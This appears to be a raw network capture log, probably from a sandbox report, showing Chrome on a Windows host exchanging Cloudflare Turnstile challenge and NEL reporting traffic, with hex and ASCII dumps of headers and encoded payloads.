2024-05-22 18:01:45 UTC	1369	IN	Data Raw: 31 35 34 6a 6e 70 35 63 58 70 79 6a 32 46 57 54 59 74 34 69 56 5a 6b 57 59 35 63 6f 58 52 2b 63 57 53 53 64 59 4a 36 67 61 4e 6a 71 61 4e 38 70 5a 74 77 67 61 4f 52 66 70 4e 75 71 33 5a 30 6c 6f 71 48 6c 70 57 61 6b 34 43 76 77 37 4b 31 77 61 53 57 6b 37 32 49 6f 59 61 48 75 4b 79 45 6e 36 32 6b 31 71 76 4c 6b 62 71 59 75 39 57 78 33 37 44 52 32 38 75 69 73 62 48 45 78 4c 66 67 76 36 69 6a 76 38 76 70 75 71 69 71 74 4f 57 32 35 63 6e 43 37 2b 76 31 33 62 75 39 37 4d 48 57 30 73 45 46 34 66 54 70 38 75 66 47 32 67 6a 48 79 75 30 51 34 52 49 4a 38 64 45 5a 30 4f 6e 76 32 65 72 63 48 78 63 42 48 78 54 35 49 50 66 39 2f 51 6e 6b 46 42 59 64 4c 77 59 77 41 65 2f 78 45 66 41 69 39 43 55 79 2b 53 63 50 4f 78 45 36 2f 6a 34 75 4e 52 6f 44 51 69 59 55 43 54 63 34 Data Ascii: 154jnp5cXpyj2FWTYt4iVZkWY5coXR+cWSSdYJ6gaNjqaN8pZtwgaORfpNuq3Z0loqHlpWak4Cvw7K1waSWk72IoYaHuKyEn62k1qvLkbqYu9Wx37DR28uisbHExLfgv6ijv8vpuqiqtOW25cnC7+v13bu97MHW0sEF4fTp8ufG2gjHyu0Q4RIJ8dEZ0Onv2ercHxcBHxT5IPf9/QnkFBYdLwYwAe/xEfAi9CUy+ScPOxE6/j4uNRoDQiYUCTc4
2024-05-22 18:01:45 UTC	1369	IN	Data Raw: 39 68 6a 59 70 49 59 57 6c 6a 65 57 79 4f 62 56 75 63 66 5a 47 4e 58 5a 46 78 59 4a 36 58 6c 34 68 31 61 59 69 64 66 4a 42 71 68 6f 6d 52 64 4b 6d 75 68 4b 57 4d 75 37 69 72 72 4c 6d 2b 6a 59 32 53 6c 35 79 42 6a 37 2f 42 74 5a 7a 41 75 73 43 4a 69 4b 47 6f 6e 71 4b 55 31 36 43 31 78 36 36 75 30 4d 2b 56 6d 70 69 63 71 2b 4f 79 75 5a 6a 6e 78 63 48 42 71 4f 43 6b 37 4f 61 72 35 75 48 4a 79 62 2f 4c 7a 62 50 42 32 2b 58 47 30 4d 6e 32 38 4f 6d 39 38 2b 49 41 38 75 4c 62 30 2f 4c 6d 34 73 30 4d 35 38 33 74 42 51 2f 73 37 2f 4d 50 39 76 55 45 46 73 37 31 39 75 6f 64 45 4e 30 67 48 2f 62 31 48 2f 62 69 4a 69 6f 42 47 43 51 6a 44 68 77 6f 44 65 6f 69 42 77 62 30 39 69 51 62 4f 53 6f 32 47 54 34 71 50 45 55 33 52 2f 68 4a 49 41 45 4c 47 79 45 47 4a 79 64 44 44 Data Ascii: 9hjYpIYWljeWyObVucfZGNXZFxYJ6Xl4h1aYidfJBqhomRdKmuhKWMu7irrLm+jY2Sl5yBj7/BtZzAusCJiKGonqKU16C1x66u0M+Vmpicq+OyuZjnxcHBqOCk7Oar5uHJyb/LzbPB2+XG0Mn28Om98+IA8uLb0/Lm4s0M583tBQ/s7/MP9vUEFs719uodEN0gH/b1H/biJioBGCQjDhwoDeoiBwb09iQbOSo2GT4qPEU3R/hJIAELGyEGJydDD
2024-05-22 18:01:45 UTC	1369	IN	Data Raw: 50 69 46 75 50 61 33 65 63 66 5a 36 4d 66 56 71 6b 6e 34 56 6b 70 70 6d 46 68 5a 36 67 62 6f 32 6c 67 58 31 75 68 48 47 44 65 49 47 53 6a 37 65 6c 73 48 65 54 6f 5a 43 75 73 4b 61 2b 67 72 47 65 77 4d 57 72 6d 62 71 5a 6a 73 32 37 72 59 72 51 71 59 32 69 31 5a 65 59 6b 39 72 52 74 4b 6a 56 76 4b 4c 68 6d 36 4f 31 75 75 6a 69 75 65 48 65 76 75 76 4b 34 65 62 4e 38 61 37 47 34 72 50 6d 34 38 72 75 75 66 6e 38 36 66 48 7a 30 77 4f 37 41 50 76 30 2f 64 76 68 36 50 37 76 37 4e 41 53 32 76 44 30 42 67 33 54 42 76 4c 6d 2b 78 62 31 36 42 76 6f 2b 50 37 37 4a 50 66 59 38 79 4d 4a 41 78 51 58 49 2f 6f 6d 4d 51 67 4d 4b 76 41 50 45 79 4c 31 45 6a 6f 59 50 52 4d 4b 2f 76 73 61 48 6a 6a 38 4a 52 46 45 4a 54 51 70 52 52 73 46 44 78 38 6c 55 79 63 54 4a 44 4a 4d 4b 30 Data Ascii: PiFuPa3ecfZ6MfVqkn4VkppmFhZ6gbo2lgX1uhHGDeIGSj7elsHeToZCusKa+grGewMWrmbqZjs27rYrQqY2i1ZeYk9rRtKjVvKLhm6O1uujiueHevuvK4ebN8a7G4rPm48ruufn86fHz0wO7APv0/dvh6P7v7NAS2vD0Bg3TBvLm+xb16Bvo+P77JPfY8yMJAxQXI/omMQgMKvAPEyL1EjoYPRMK/vsaHjj8JRFEJTQpRRsFDx8lUycTJDJMK0
2024-05-22 18:01:45 UTC	1369	IN	Data Raw: 6c 48 68 65 6d 70 5a 38 65 5a 74 77 64 61 46 7a 6c 36 4e 6f 62 58 32 79 70 61 32 76 72 59 61 66 67 61 69 55 69 33 4e 30 6b 5a 32 76 66 61 79 76 6f 4b 2b 50 6e 4a 47 69 71 4b 69 44 6d 5a 32 63 76 38 69 2f 30 4c 44 50 71 70 61 68 6f 72 76 50 6b 37 6d 6f 31 63 2f 43 76 5a 37 41 70 4c 62 59 73 65 6a 56 37 4b 50 66 78 4e 6a 66 77 73 2f 45 30 4d 6e 47 30 63 48 6f 31 65 62 4d 2b 64 47 37 2f 63 2f 79 33 39 37 55 34 4e 76 37 31 64 4d 47 36 74 76 4f 36 64 37 73 79 50 76 6c 42 2b 54 73 35 75 73 4e 37 78 7a 77 48 77 2f 74 38 77 73 50 48 50 51 68 41 42 62 33 4a 53 67 45 48 2b 7a 35 4d 53 2f 77 44 75 6f 6e 38 65 6e 75 2b 41 54 33 4d 2f 51 7a 39 7a 63 2b 51 52 63 62 41 67 63 6e 48 45 73 69 49 7a 73 4a 4a 43 63 36 55 7a 30 6f 4c 53 78 4e 4b 6b 63 69 51 30 74 61 53 52 6b Data Ascii: lHhempZ8eZtwdaFzl6NobX2ypa2vrYafgaiUi3N0kZ2vfayvoK+PnJGiqKiDmZ2cv8i/0LDPqpahorvPk7mo1c/CvZ7ApLbYsejV7KPfxNjfws/E0MnG0cHo1ebM+dG7/c/y397U4Nv71dMG6tvO6d7syPvlB+Ts5usN7xzwHw/t8wsPHPQhABb3JSgEH+z5MS/wDuon8enu+AT3M/Qz9zc+QRcbAgcnHEsiIzsJJCc6Uz0oLSxNKkciQ0taSRk
2024-05-22 18:01:45 UTC	1369	IN	Data Raw: 61 42 33 6c 36 70 33 61 31 39 71 70 71 57 6e 69 6f 47 65 6c 49 47 74 68 35 4b 49 69 6e 75 55 73 62 65 31 6e 37 53 51 72 72 75 64 76 70 64 37 6e 4a 6d 4c 75 37 33 49 78 61 44 47 30 74 53 4c 6b 61 50 43 6c 5a 66 61 6e 4b 65 65 76 38 44 69 6e 4b 4c 45 75 4e 2b 6c 30 61 65 69 71 71 79 39 7a 65 43 71 72 37 2f 51 7a 75 72 79 2b 4f 2b 76 30 50 43 32 7a 4f 76 4a 38 4e 66 32 37 76 4c 32 39 4f 61 36 43 72 7a 42 41 67 6a 38 37 67 7a 68 34 64 37 6b 36 2f 48 56 46 78 45 55 32 50 30 50 38 51 33 38 38 79 4d 66 2b 2f 58 7a 42 79 41 44 4c 50 6f 59 47 42 34 66 42 66 73 79 4c 77 63 77 49 2b 30 73 4e 77 38 71 46 76 66 39 4d 6a 67 35 2f 45 51 61 4f 6b 63 66 4f 6a 38 64 42 43 73 59 47 79 45 4e 48 53 38 55 53 78 51 56 45 79 4d 6f 53 30 38 64 4d 52 6b 30 57 6c 39 57 4c 68 78 64 Data Ascii: aB3l6p3a19qpqWnioGelIGth5KIinuUsbe1n7SQrrudvpd7nJmLu73IxaDG0tSLkaPClZfanKeev8DinKLEuN+l0aeiqqy9zeCqr7/Qzury+O+v0PC2zOvJ8Nf27vL29Oa6CrzBAgj87gzh4d7k6/HVFxEU2P0P8Q388yMf+/XzByADLPoYGB4fBfsyLwcwI+0sNw8qFvf9Mjg5/EQaOkcfOj8dBCsYGyENHS8USxQVEyMoS08dMRk0Wl9WLhxd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.17	59870	104.17.2.184	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:01:46 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1805048405:1716398150:X45MG1wplxtOLBIWwajWeE9aw9tmayvdMiPEFXoWqXM/887eb68febf4728a/60ba1c6e58abf92 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-22 18:01:46 UTC	375	IN	HTTP/1.1 404 Not Found Date: Wed, 22 May 2024 18:01:46 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: ntR2hJBVBgQvhgwzVtBIEg==$3hHYbZpDYMLu55b282m5Bw== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 887eb6a378b31931-EWR alt-svc: h3=":443"; ma=86400
2024-05-22 18:01:46 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.17	59871	104.17.2.184	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:01:46 UTC	804	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/887eb68febf4728a/1716400905710/4539064854afb4f32570c5bc254e9c2c21c56b69a3fe49046984c2bf6f485953/Gi_dQDPtKhTCYfB HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/8xyog/0x4AAAAAAAawZipfMclJYEh2/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-22 18:01:47 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Wed, 22 May 2024 18:01:47 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-05-22 18:01:47 UTC	1382	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 52 54 6b 47 53 46 53 76 74 50 4d 6c 63 4d 57 38 4a 55 36 63 4c 43 48 46 61 32 6d 6a 5f 6b 6b 45 61 59 54 43 76 32 39 49 57 56 4d 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gRTkGSFSvtPMlcMW8JU6cLCHFa2mj_kkEaYTCv29IWVMAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-05-22 18:01:47 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.17	59872	35.190.80.1	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:01:47 UTC	543	OUT	OPTIONS /report/v4?s=Z%2F%2F8fwA2vqs0hV6X0YqxGjR8hNSV4ALUkWJ9ZqXpcwgvn3H2XftGw5hRayQGVWETcok%2BOJCsdFnBTe1MguSvFO6edSx8zGPhbbDQK0ZZAI9Pvf6EskfaNztiJqInHw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://l6agz47874.eleteriod.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-22 18:01:47 UTC	336	IN	HTTP/1.1 200 OK content-length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Wed, 22 May 2024 18:01:47 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.17	59873	35.190.80.1	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:01:48 UTC	476	OUT	POST /report/v4?s=Z%2F%2F8fwA2vqs0hV6X0YqxGjR8hNSV4ALUkWJ9ZqXpcwgvn3H2XftGw5hRayQGVWETcok%2BOJCsdFnBTe1MguSvFO6edSx8zGPhbbDQK0ZZAI9Pvf6EskfaNztiJqInHw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 449 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-22 18:01:48 UTC	449	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 31 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 39 37 39 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6c 36 61 67 7a 34 37 38 37 34 2e 65 6c 65 74 65 72 69 6f 64 2e 63 6f 6d 2f 6b 33 68 6f 66 34 39 38 30 39 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 31 31 34 2e 39 37 2e 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 Data Ascii: [{"age":1,"body":{"elapsed_time":1979,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://l6agz47874.eleteriod.com/k3hof49809/","sampling_fraction":1.0,"server_ip":"188.114.97.3","status_code":404,"type":"http.error"},"type":"ne
2024-05-22 18:01:48 UTC	168	IN	HTTP/1.1 200 OK content-length: 0 date: Wed, 22 May 2024 18:01:48 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.17	59874	104.17.2.184	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:01:48 UTC	775	OUT	GET /cdn-cgi/challenge-platform/h/b/i/887eb68febf4728a/1716400905715/yORtcSm8PD7IuNp HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/8xyog/0x4AAAAAAAawZipfMclJYEh2/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-22 18:01:48 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:01:48 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 887eb6ae6a55335a-EWR alt-svc: h3=":443"; ma=86400
2024-05-22 18:01:48 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 09 00 00 00 34 08 02 00 00 00 d7 17 85 34 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR44IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.17	59875	104.17.2.184	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:01:49 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/887eb68febf4728a/1716400905715/yORtcSm8PD7IuNp HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-22 18:01:49 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:01:49 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 887eb6b37f1343c8-EWR alt-svc: h3=":443"; ma=86400
2024-05-22 18:01:49 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 09 00 00 00 34 08 02 00 00 00 d7 17 85 34 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR44IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.17	59876	104.17.2.184	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:01:49 UTC	917	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1805048405:1716398150:X45MG1wplxtOLBIWwajWeE9aw9tmayvdMiPEFXoWqXM/887eb68febf4728a/60ba1c6e58abf92 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 30373 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 60ba1c6e58abf92 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/8xyog/0x4AAAAAAAawZipfMclJYEh2/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-22 18:01:49 UTC	16384	OUT	Data Raw: 76 5f 38 38 37 65 62 36 38 66 65 62 66 34 37 32 38 61 3d 77 68 34 62 51 56 6c 74 42 56 42 2d 34 56 35 75 53 2d 34 62 35 68 6d 55 6c 4a 6c 7a 75 49 62 56 78 47 35 75 55 62 53 4e 62 56 59 75 54 56 75 47 48 62 47 4a 75 4c 62 75 68 47 56 75 33 62 6c 4e 48 62 6c 73 75 53 24 42 32 34 75 77 24 7a 67 75 54 41 51 55 75 73 75 53 42 74 75 58 62 6d 77 5a 39 35 75 56 25 32 62 75 47 34 78 68 6c 6c 47 42 54 48 75 79 53 35 39 2b 75 49 75 38 2b 6c 43 75 56 38 59 42 42 31 69 75 47 59 34 75 47 71 56 75 4d 41 42 75 38 62 75 45 2b 54 63 61 72 6f 34 75 4b 6f 6a 68 75 56 2b 63 2b 43 6d 43 64 55 38 68 59 67 32 6c 2b 6e 62 75 4e 49 55 4a 4f 70 68 75 32 41 7a 67 75 34 71 4a 48 6f 39 75 6b 62 6c 41 70 65 63 56 45 2b 5a 30 61 2b 69 39 64 43 69 56 69 6d 39 77 4b 4d 49 30 48 54 68 49 Data Ascii: v_887eb68febf4728a=wh4bQVltBVB-4V5uS-4b5hmUlJlzuIbVxG5uUbSNbVYuTVuGHbGJuLbuhGVu3blNHblsuS$B24uw$zguTAQUusuSBtuXbmwZ95uV%2buG4xhllGBTHuyS59+uIu8+lCuV8YBB1iuGY4uGqVuMABu8buE+Tcaro4uKojhuV+c+CmCdU8hYg2l+nbuNIUJOphu2Azgu4qJHo9ukblApecVE+Z0a+i9dCiVim9wKMI0HThI
2024-05-22 18:01:49 UTC	13989	OUT	Data Raw: 78 55 34 6c 74 75 45 75 4d 75 6d 4e 6e 78 32 68 56 5a 6c 6c 75 32 4c 46 48 55 62 47 46 75 54 66 62 42 75 24 78 32 62 2d 75 75 78 48 6c 62 35 2b 56 41 75 36 68 2d 2b 6c 75 35 74 75 2d 6f 68 30 75 67 62 32 75 56 35 75 68 62 77 39 56 68 75 4c 62 73 6e 56 48 75 5a 75 4b 71 2b 38 39 6d 75 56 78 47 76 62 54 49 38 24 47 68 78 72 77 70 2b 56 5a 75 7a 66 42 57 6c 5a 4c 4b 70 64 62 6d 6f 6c 48 62 34 78 6c 31 75 48 42 6d 68 56 79 75 44 75 45 70 4a 57 6c 34 75 34 4c 78 67 75 70 48 6d 68 47 35 6c 64 66 42 78 75 4d 6b 67 32 38 34 47 6b 78 75 74 34 78 56 79 75 6c 54 37 68 47 5a 75 75 62 48 38 56 67 6c 50 31 6f 62 6c 4a 75 36 68 77 62 2d 73 41 78 48 2d 48 56 53 75 71 42 73 42 6c 66 4c 69 78 2d 78 6c 55 62 51 62 38 63 47 76 65 2b 75 6c 72 30 6a 61 67 75 47 72 36 42 75 5a Data Ascii: xU4ltuEuMumNnx2hVZllu2LFHUbGFuTfbBu$x2b-uuxHlb5+VAu6h-+lu5tu-oh0ugb2uV5uhbw9VhuLbsnVHuZuKq+89muVxGvbTI8$Ghxrwp+VZuzfBWlZLKpdbmolHb4xl1uHBmhVyuDuEpJWl4u4LxgupHmhG5ldfBxuMkg284Gkxut4xVyulT7hGZuubH8VglP1oblJu6hwb-sAxH-HVSuqBsBlfLix-xlUbQb8cGve+ulr0jaguGr6BuZ
2024-05-22 18:01:49 UTC	322	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:01:49 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 22184 Connection: close cf-chl-gen: fM9teT9lEwM5mjINxFKkHNWwboL1cXEHDV7EQACkMd1CmE21KRmnDIODVNEngzzn$I4oqNyv/sW4VPLQw7tGfRw== Server: cloudflare CF-RAY: 887eb6b39fc48cad-EWR alt-svc: h3=":443"; ma=86400
2024-05-22 18:01:49 UTC	1047	IN	Data Raw: 67 49 69 44 64 6c 53 56 6b 56 69 5a 63 70 6d 68 6e 33 78 36 6e 35 4f 51 6f 71 52 6d 67 6f 79 6f 61 6f 57 75 6e 33 47 4a 74 70 46 76 63 33 65 47 74 6f 75 7a 6b 4a 61 61 75 38 4f 5a 6f 58 32 33 79 49 69 37 71 61 79 46 70 6f 69 75 6e 59 69 4a 70 74 43 67 73 71 58 4b 6b 62 47 32 75 64 69 65 74 61 79 33 34 39 2f 43 33 37 36 34 31 39 4f 6b 75 64 75 6f 34 72 36 35 30 64 48 4f 36 66 53 74 38 2f 53 76 35 63 54 45 36 76 62 7a 30 74 58 67 30 65 2f 6b 31 51 59 43 39 74 54 4a 42 41 4c 71 37 4e 72 49 79 2b 63 44 31 4d 6a 73 47 42 44 55 37 78 30 59 48 76 55 69 47 50 58 33 37 74 77 6d 2f 53 72 78 35 2f 30 75 4c 43 67 43 4a 77 6e 71 35 51 38 6c 44 78 58 77 42 79 4d 62 47 78 63 6e 49 52 30 36 50 52 38 34 42 6a 50 39 4e 55 6b 39 49 69 49 66 49 77 63 35 53 52 34 63 43 30 52 Data Ascii: gIiDdlSVkViZcpmhn3x6n5OQoqRmgoyoaoWun3GJtpFvc3eGtouzkJaau8OZoX23yIi7qayFpoiunYiJptCgsqXKkbG2udietay349/C376419Okuduo4r650dHO6fSt8/Sv5cTE6vbz0tXg0e/k1QYC9tTJBALq7NrIy+cD1MjsGBDU7x0YHvUiGPX37twm/Srx5/0uLCgCJwnq5Q8lDxXwByMbGxcnIR06PR84BjP9NUk9IiIfIwc5SR4cC0R
2024-05-22 18:01:49 UTC	1369	IN	Data Raw: 69 64 33 2b 47 66 4a 6d 73 72 58 47 4b 67 70 43 6d 62 36 4b 47 72 5a 79 59 6a 4b 32 32 6d 6f 79 4d 6f 5a 4f 53 78 72 2f 48 6e 34 50 47 75 73 37 47 70 62 6d 77 71 4a 36 6a 78 62 4b 57 74 4c 57 38 6d 74 32 74 30 39 57 38 76 74 58 59 77 65 43 2b 73 36 48 6a 36 4c 66 6d 72 65 75 6d 37 72 4c 76 72 71 79 32 37 37 50 43 77 2f 65 32 2b 4c 76 37 75 72 6a 79 39 74 44 44 39 66 6b 4b 41 66 37 5a 39 4d 59 4b 32 67 33 4b 78 41 62 70 37 39 49 50 43 68 45 57 31 67 72 6e 48 77 33 38 33 2f 67 46 42 74 77 6d 47 76 59 48 36 53 51 6e 35 41 4d 64 4d 65 63 6d 38 67 66 77 37 7a 51 69 39 41 34 46 4b 54 59 59 50 53 72 2b 46 42 34 51 47 30 4d 46 51 55 4a 4b 52 53 4d 62 4a 43 34 51 55 56 49 70 45 7a 63 73 54 6a 41 6a 46 30 6b 6c 57 54 78 51 4f 45 39 69 51 53 38 39 4a 32 49 2b 4b 6a Data Ascii: id3+GfJmsrXGKgpCmb6KGrZyYjK22moyMoZOSxr/Hn4PGus7GpbmwqJ6jxbKWtLW8mt2t09W8vtXYweC+s6Hj6Lfmreum7rLvrqy277PCw/e2+Lv7urjy9tDD9fkKAf7Z9MYK2g3KxAbp79IPChEW1grnHw383/gFBtwmGvYH6SQn5AMdMecm8gfw7zQi9A4FKTYYPSr+FB4QG0MFQUJKRSMbJC4QUVIpEzcsTjAjF0klWTxQOE9iQS89J2I+Kj
2024-05-22 18:01:49 UTC	1369	IN	Data Raw: 61 47 6d 71 62 35 56 77 70 35 71 61 6c 4a 61 36 76 6f 31 33 72 59 71 50 73 4a 71 47 76 34 44 49 74 49 71 62 70 49 61 36 75 62 33 46 71 4c 32 30 31 36 7a 56 77 71 66 54 70 38 66 55 7a 73 48 5a 79 38 47 61 6f 39 53 66 73 39 2f 48 79 39 33 75 77 65 7a 43 77 64 33 62 37 64 44 42 38 73 4c 76 37 64 66 36 72 38 33 51 7a 4e 6a 63 2b 74 50 43 78 4d 50 39 31 66 49 4a 79 4f 50 67 36 4d 4c 6f 7a 77 2f 51 45 75 48 67 35 64 63 63 38 75 55 49 39 68 4c 7a 48 78 4d 65 45 66 73 66 45 75 41 66 34 53 49 69 44 42 41 43 4b 67 7a 36 45 53 63 43 44 53 77 4c 4a 78 77 74 46 69 62 32 39 6a 59 65 44 76 34 65 45 79 4d 44 42 54 68 43 4b 68 6f 63 47 78 38 70 4b 79 77 2b 4a 45 63 57 49 54 49 52 50 44 59 72 4a 6a 73 7a 50 44 51 73 52 44 46 53 4e 6c 31 45 57 79 45 6b 52 44 39 76 53 6b 73 Data Ascii: 